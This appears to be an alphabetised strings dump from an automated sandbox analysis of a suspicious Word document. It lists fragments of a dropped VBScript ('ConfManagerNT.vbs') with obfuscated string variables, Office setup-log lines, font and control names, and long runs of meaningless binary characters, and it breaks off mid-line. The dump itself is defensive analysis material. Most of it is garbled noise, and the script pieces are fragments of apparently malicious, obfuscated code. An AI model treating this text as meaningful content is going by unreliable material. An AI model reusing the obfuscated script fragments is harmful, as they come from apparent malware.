If LCase(dialect) = "wql" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if LCase(m.Submatches(1)) = "$null" then

Ansi based on Dropped File (ConfManagerNT.vbs)

if LCase(strCommand) = "cscript" then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Len(hashString) > 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Len(hashString) > 2 Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Len(optionsValue) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if matches.Count <> 1 then

Ansi based on Dropped File (ConfManagerNT.vbs)

if matches.Count > 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If not cmdlineOptions.ArgumentExists(NPARA_FILTER) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

If Not currentElement is Nothing Then

Ansi based on Dropped File (ConfManagerNT.vbs)

if not Reformat(res,formattedText,formatOption) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if paramMap Is Nothing then

Ansi based on Dropped File (ConfManagerNT.vbs)

if qmpos <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

if resultDictionary.Exists(m.Submatches(0)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if uResult = kErrorSuccess then

Ansi based on Dropped File (ConfManagerNT.vbs)

IF v > 0 thEN

Ansi based on Dropped File (ConfManagerNT.vbs)

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

if(LCase(formatOption) <> VAL_FORMAT_TEXT) then

Ansi based on Dropped File (ConfManagerNT.vbs)

igF{2:(_}"=|*vC7 KY[\y[efzFU5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ih4=T3p2uo>Di/##`0nO$p.r%rL4'Ng+)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

IHDRsBIT|dpHYs~tEXtCreation Time11/29/10jtEXtSoftwareAdobe Fireworks CS5q6 IDATxw\s&)QD,P9c6I\$I(F49tN|ofMwsjW}j]U[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

IHDRwQOksRGBgAMAapHYsodIDATx^yoW'x]]*uR+KUTMe^I<s 0A0F6$lO,?js<<+xxxxxxxxxx?{?9~Yuz^%L&qi~)^8HV495FFGSwv5]jffxzd8uJ=widd8OPO/_ebsp7NG40{4>1z;wP~+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ihO[Gvdv*k?=m'&7n6!7t>fi4Gc1m<h],\77m&@kws.k{ @ p/d@] Av@^ .@ !@ Cq@ p.@!] B@ ;w@ w!@ B@ !@ Cq@ p.@!] B@ ;w@ w!@ B@ !@ Cq@ p.@!] B@ ;w@ w!@ B@ !@ Cq@ p.@!] B@ ;w@ w!@ B@ !@ Cq@ p.@!] B@ ;w@&f@ p.K?_A3q@443..8~2tFh^1^xOc<i;?~7*B:M1\(K7wfb/gnwojW7k

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Il5tQ^d'y{c}IH~GbvA{ 1&RLdYB(*)Y^J(;el8LA&<-NKr&Jg0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

iL`#?yI!Wa?'G32

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ILabelControl

Unicode based on Runtime Data (WINWORD.EXE )

ImageEvents

Unicode based on Runtime Data (WINWORD.EXE )

IMdcCheckBox

Unicode based on Runtime Data (WINWORD.EXE )

IMdcCombo

Unicode based on Runtime Data (WINWORD.EXE )

IMdcOptionButton

Unicode based on Runtime Data (WINWORD.EXE )

IMdcToggleButton

Unicode based on Runtime Data (WINWORD.EXE )

Imprint MT Shadow

Unicode based on Runtime Data (WINWORD.EXE )

IMultiPage

Unicode based on Runtime Data (WINWORD.EXE )

Info: OptionDependency: option AceFiles has a lead PROJECTFiles which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option AceFiles has a lead VISIOFiles which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option DCubeHidden has a lead VISIOFiles which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option Project32Files has a lead PROJECTFiles which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option ProjectPiaReg32 has a lead Project_PIA which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option Visio32 has a lead VISIOFiles which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option VisioPiaReg32 has a lead Visio_PIA which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option WAC_PIARegSPD32 has a lead WAC_PIA_SPD which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option WebDiscussFiles has a lead WAC_SPD which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Info: OptionDependency: option XDOCSEditorFiles has a lead WAC_SPD which is not found in the option tree

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Informal Roman

Unicode based on Runtime Data (WINWORD.EXE )

InternationalSupportFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

InternationalSupportFiles_ArialUni:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

InternationalSupportFiles_JPN:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

IntranetName

Unicode based on Runtime Data (WINWORD.EXE )

IOptionFrame

Unicode based on Runtime Data (WINWORD.EXE )

IR\E_rzM&y3l}g+V8Nag:$v1,3-:\/c28.0w0ftBdA0My\y,^J$+"8N^eph J>Zus(0b6B,-l&Op)&M%Z02%DtHE. Wf{A~o|nR<k_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

iResult = kErrorFailure

Ansi based on Dropped File (ConfManagerNT.vbs)

iResult = kErrorSuccess

Ansi based on Dropped File (ConfManagerNT.vbs)

IReturnBoolean

Unicode based on Runtime Data (WINWORD.EXE )

IReturnEffect

Unicode based on Runtime Data (WINWORD.EXE )

IReturnInteger

Unicode based on Runtime Data (WINWORD.EXE )

IReturnSingle

Unicode based on Runtime Data (WINWORD.EXE )

IReturnString

Unicode based on Runtime Data (WINWORD.EXE )

irs'7jl;rhieQwk)_p]w{=+|a}{}}me?7/i-Umw)'2#8Q9l~~.uSg~6I[aji\NYP gSi|Y95s%ITF$ Waum}+$,,pWOuL~;u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

IScrollbar

Unicode based on Runtime Data (WINWORD.EXE )

IsHostCscript = bReturn

Ansi based on Dropped File (ConfManagerNT.vbs)

Iskoola Pota

Unicode based on Runtime Data (WINWORD.EXE )

ISpinbutton

Unicode based on Runtime Data (WINWORD.EXE )

ITabStrip

Unicode based on Runtime Data (WINWORD.EXE )

iuUAcopn'mV#\|r<qJ\XO&ZpC)ft2O;0L *X8S,i@]xa9Jw.\/vx1S!M{uoX'lh

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Iw&EZsp+Pk6/lmQF%x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

IWHTMLCheckbox

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLHidden

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLImage

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLOption

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLPassword

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLReset

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLSelect

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLSubmitButton

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLText

Unicode based on Runtime Data (WINWORD.EXE )

IWHTMLTextArea

Unicode based on Runtime Data (WINWORD.EXE )

IZ(+f!;&t&5n}GI1v~<NoJoZhh|l3hM5nn5{~Oeq+L!hhhLwiXD7wNa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

iZF+#w-,.-/Ufr#~_p.Y|a0_Z,+a1^zhhJlz&`klEq".k@#+)[P=1Oi^Y/wN^-wgVJ_)c8R{a Sk8qcXZ.z^z_pTI&9Hds/`[|Y=X-.e/=G~Hy^V$vogSridGAwf7OG1</w15T=C[-ce2l*HQrZ9c|s$##u'/cjYHY{!%}]T"J:4l5[?.'o-7_IxY~zK^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

IZH'xEs!ykjvpeg]`WE\p-5n>Sa$_Iki45$>v;5;\+-k,$^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

I{{{`b#+dE+*zP|r03"K&>Y}:IAlV0CHYPY3i>r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j = InStrRev(strFullName, "", i, 1)

Ansi based on Dropped File (ConfManagerNT.vbs)

J$qUX0d=p;;lKO:nr?|]|owUuM:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j)Z9MXqu m20Cz+gMZ1:Xm(Opf4_'|)2zJ;6:V#z|`44Vps),wXm:N9<j8?UXxCUG-5:ZYXScz#[jO~A,WO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

J1iXTxKCaxu#(FB<7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j7@5B_"2Thxr+A8%9\vT7g$]%X/*R:Ca>X-ZvH=#;d4#N|T&n>(j]<Z{'?c

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j8?X4^jtYmT!@6BuDC5R

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j8{E>1JGc$rGE:yMw6vDECk:gd2>gZnX

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

J>BJZ77vU=ER

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

J?k@jmwC|VW8Lk#x{[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j\dwW]%FAd

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j\U*1N4)(UluxbSZ:ymtNfe#'cr0S'JpE[^wd*LAVKRTW=0O7{d {Zeffo8!?\P`@)%SRBV^F:{pN2Jdk%tfE-'s"Y-[X-(;{%wvnq?;;;Fzp.l"Uov<:GC%@~322b{k;xAi~NfeFVT!mddrQ>-;/}#;.?tI[g&CJvY\Wqiqi<%%\nyxtXa#<AO]AvNvU7d752:"].RGE:;;nW7#[IqJJvMYF

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

j`S:C^<L3}I};]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

JasmineUPC

Unicode based on Runtime Data (WINWORD.EXE )

JC|H@9{,.v#Td3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

jE|a+G*3:0fK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

jH)eN'kSWA<y~e KccqUn8JtY;umVUI+8rf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

JHW|Nu<$x~@,U!4*UT`pouyy5$E(/NA~p*O

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ji}3xE-=J/J^Q)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

jjuPl(Wvt}R224Q0;jb2,uk<1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

jL2NB:5I&t&JIMwn1<xXgP^~T={g&-0N(3X}clX,*7iF&1Im'INC_US->y2hHElO_S(U XJXdAcwNcc%efZ`3!z"c11i7`w"T1-@_/Pf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

jlx@2kx\dy

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

JO-meK?.<R7@7try7Us_8?8/OJ&M"<NdJW#4b.8PX~zu8N9/^N:[rZ Ox'j

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

JobExecutionMode is ConfigureExecutionMode.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ju%KX>-(KE1/a6^\[#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Juice ITC

Unicode based on Runtime Data (WINWORD.EXE )

Jv6DBr5M]e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

jVF`XLjVmsIHOQ]YA/D$;|M"$gWr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

J|jqk5}{.uW!k_/!^)zqOK8B#^d]MLO5LZO^%o

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k /;edI5nDFN!aXR$i=$S+1>(le0,pZLJZZ(++#!!}q5& alb</qzO12v{hij ORj<m<IO$E_wEOGg=NxVn~4[p*BqeFGkF=X,V~qp=,Y|Y956u&N/`M-|.FaQWTGSv8K,ASU]>\@WA:e+iN(32otIr9#y:[R\i

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K%SB{~hwO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k&wyU{`FGr**V-Ds.;b IDAT+?aMX)mucj*yQqLv#9FANNa VbZGGc)[6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K,KRX$Nkn|e)LTUX'VR26<wpZr2oF_,33F,e#"-QWscibm{Om5tWigg+=xp?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K.x+_:&`dt0'`vNEy)'ii&=y8|?ID$>]w,ss$>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K/'/'7]D0(E;a0`?d\l4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K02m v~5!~ Mz'BCtv#@)h

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k0cMQDI(,4#M9Vuwk>~O9<W_}%g{WFx}}v:@3[2ffJK={7r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K5.g Cp#8|r!c

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K:xs9a5h/_/E

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k=& $p5V4pV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K=?!.)2}8~}VXqLqEjm5xoqvq5*A@[RtznY;gOvu*lb 5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k=SrGLTT{w,Ps}a0j,5&:P^cN6orV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k>&S}X@"vg77rn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k`9ne[XJG.&X6WGsZuKw.XFxxa{/AEh#Ic~G%&:**B5U!.}(*"(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K`:\@Jp:Vd-L$E69v29s;e)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KAq64n(}<'("'HeqwMiaMd2C,&fXl)>X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Kbw_6@}*0ud(13X2a,mfpg^ Hkf TVaXt1-oYb;TUWr,d;f'ta5yoK}q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

kC3En'Q~-]p([ooOo!OFU|f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

kH-VS.DK(*9y@Y`#cQ+_?fHB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KHyl.dataType

Ansi based on Decoded VBA Input (ThisDocument.cls)

Kicking off chained product configuation-update...

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

KJvqE2y|"#inE'.a4f"4,K3{Gl&"n8M:|SLZ3K[UsYC3MJ<9"LWT-g\NBCeBU$^s2EgL 3Z,;Zduj/by}$IV)IDw@"v[oln~c40e$Q^^8";{b_%A{bm]~8@t*I*320H. KLq8]|8vB6Kq9:z#U

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KJXj9ah`|*a/|ozMo@TTT+/M

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

kl)w&*Ibv:iYFJ/|nhah

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Kl.:tJe[yk lJ|DSi_QA&|~TED@yi2<4H2&0p@ eq$/D>awE @2mM20ox-B<e!6^`aDkE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Kmj)\H2&'+){*4PqqmQB/x#/==E8$$NtxJk7]^7-3BwP<975tb?y$|LD1d*sKEoi'SFYI$O65KGvAZ_GA1?5Z(@+kVC-)Z7S0WQ|X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KodchiangUPC

Unicode based on Runtime Data (WINWORD.EXE )

Kristen ITC

Unicode based on Runtime Data (WINWORD.EXE )

KrLwb:'gT)e;RBdf",@Zt'0+m\'{ZiEqxLJqr-;Oq#pNNPOA<Yh"2f\;Dt[&x5Gu5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

kt"Qh=]t$LF#G1z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

kt8LZ(<(gsb>&M"aw`QYS`?v;'nD2O?>3IUK<uhXVVnkph?w6\v950 *8>rQX=Vc1

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KT:h_=/x*GGv}(f1citd!nCU|;"1{08Xps46mt?t{_M3neF;xUGo|9=]~L24EDKea<.?]J<nt)|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Kt>{!3cR8$=h$:W5Hc(x`$](C2*at4UA0e~.<{^pXZJE(Ok*Z2e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Kunstler Script

Unicode based on Runtime Data (WINWORD.EXE )

KVOqE%O{\#az:q`C0!5~F"~y`9|~8rw?ogn^^^Ocl^)E6].`0$?sv,(H()KK:@`x4&1pl+'tj&d/q.4qRk2ag?X6MQu+&XmCyVLo#W%sTQl6zA&O'O+^JuU#;g&xeK>Ul{mE9L:z(2T&m1q.J~x9g>s6)M fJ]Mb~|s.O$R^Ey}91u\[A(/0UfQXZq{x2$a104ABD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KwX;zc)hj||dxA|4KT9)Z1*]Oi6GPq;*sF&(3urtlUVavms1$T\+w~<n$7?dw25}' +Y6?"(<4~+twRU7W}]}NEsr#E&{$YwFCUrr [)g~A_S=7E),~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

kX!7IX<'W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

KZYk>b#b$*4owr[,i^eeSj~WKq=rCXW4mZNiCwD@:D[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

K}$IDu>+V85s&nQQZo+y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

k~8>aUcs+P{zNW;w?[ogCN]*?w}Qo?yOG}~^-#kx6taxcn.Z;^+'[AwC};Xmzwn{2r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L%ya"yc*\dvA@xsSNybNlhSc<#*X.LWsEEzBKMYB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l&B #(GFF;Wp

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L(|nH[Bdh!\A"ld,j>E^5Hgs$R2c6[d49Yf>;Ezu;)X^LED&EexL

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l)n_y.gC!ly3zPH~NB(d^PqJB{*rp_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L+0~Dq5huha@y.^8cU$I/iwP8\mmAKf]P%nTZ`*#A]su<=\=-fY?3DP_Sw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L-'MTj%Z}e<<8LY)1oV8xW3NL'i:P0BT,V.WH]S+=9>quO5sa#H6%w d&S{c_q-5]FCcN&K]F4Iv9dgN7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L/?AGF9O:iT

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L/C{`9ZI}Xvtlasj:Sm-e]NY-HY=Yu=>6Sf<yP+TsNgy0{t8L$3Q+QH]UFjOwfNZX\MO'Vdl9K4p';88,VVe8886e![qs`z63w<Hotj{q+]mL#F{W?0bpv&tiyy0y2G{#uJvkvfy#]okOO'R/7:3~meSSwOOsZpCirWpkV*_ISi|r!BjzGuvw_3fNR*Ve8h?Cak0Mldf[#4,70f~Dx?C5)%{yDQ}~23jjLwt5dZr~j-{wWFF2"n$a*VCx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L1Smn"\/K>!DO&V2DrXy:;s/@ {<;C@:|#e{%$,~yCNh)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l4"A@UXQ4?WTGoiGgubTlsH:*OD8bb2EAh(?F%.-5NAjG{[7@kG++':K )EDM05U\vR@k0y0Ly&(>V~F7}tHIIeIk.>.V:+H)ad0S&HCRQiF hh)F3E zBM#:s)p8|?_1Qc#*6Ot\:)$uprr{ZA@QU?\BSU8Iw?N_Jxae1=e\h:#610x">fxAAY$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l69vt#G0`"@ddC@IxD.!o@g

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l7R$B(A2+KmweeTo*`f< /RH0xQuCOK<6ZERt#IF,<Q^e@W3,BefUW.FrHOtr^=+}VX(Iw7?4"#zk

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l:E;%$geM/wYk$w]q#;{!x'uq|C1_raiYXB)}2:6&FeWWm2dOz{{%'2yNF]/CIy?<nCHvZc9_t-vY*eUr'!*mjU:<Rj0+_-Y-KK24d)]=242l5==#+++6Za.J[ZdP-N6>Gpcx_x/dx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L< "v_gj4RPwu1|fXjR|/'+3[edy]M}DJt;JaX9l},.-'s:?Od7aUVVyZ,^.^)2^s?}PD&x4Zawu6eZ1^FS+3*'y\m46

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l[{/R[\tk`)cd]oAF;/R|vitze`!46Vwtk6g&Kx~O?<J4V6$|?\Vep4J2ZNko$lMffIRbZ<LX+c\JS[sius

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

l\8'*+Z^pI\(\X1`:#57]g`1Xp(ohY#P^!Q$dx=/Kn"]bx6)uVtYE65xx/5h&Iu

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L^<NetI{Ul![sQ0n-y!-l7<l3Lciju];jTzs##)'O;z'V:b)k<iNVy)GxiIGPFFkg_Zf+zr'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

L_Text_Error_General05_Text_coH = "L2?C2S5/VT-.T2X-.6Q2D"

Ansi based on Dropped File (ConfManagerNT.vbs)

L_Text_Error_General05_Text_ugo = OgPGZPrMhb

Ansi based on Dropped File (ConfManagerNT.vbs)

L_Text_Error_General05_Text_wXJ = ",1D+VB+41+*2,1D+4*+4"

Ansi based on Dropped File (ConfManagerNT.vbs)

L_Text_Msg_Driver03_Text_nMh = "U1[*2D<2??,;Q3=(/[A29"

Ansi based on Dropped File (ConfManagerNT.vbs)

L_Text_Msg_Driver03_Text_tWL = wmQLwhgxdH

Ansi based on Dropped File (ConfManagerNT.vbs)

La_k(RuoEyak{^~E?bx>"7]<:VrgcZ=7|vQ>8goG.x6\HGn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LabelControlEvents

Unicode based on Runtime Data (WINWORD.EXE )

LanguageList

Unicode based on Runtime Data (WINWORD.EXE )

laoG8m&W\saXv:F)--'H1or7MXhH"261,Z+ndN>'|?kEK+pl7CE^a2L[B-YT=SO}i>Was,2a!Deg LD&h"""BVP<T\nEqE5UU8$ndtGK9wq:|w\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

lAy|G~Dm$C4t~6lPkGx]nDOrv\_9[C~=DxT79gYgY!m,IYk$1ZLZIouV;

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Lc&>(qfON"s -9u>1#?

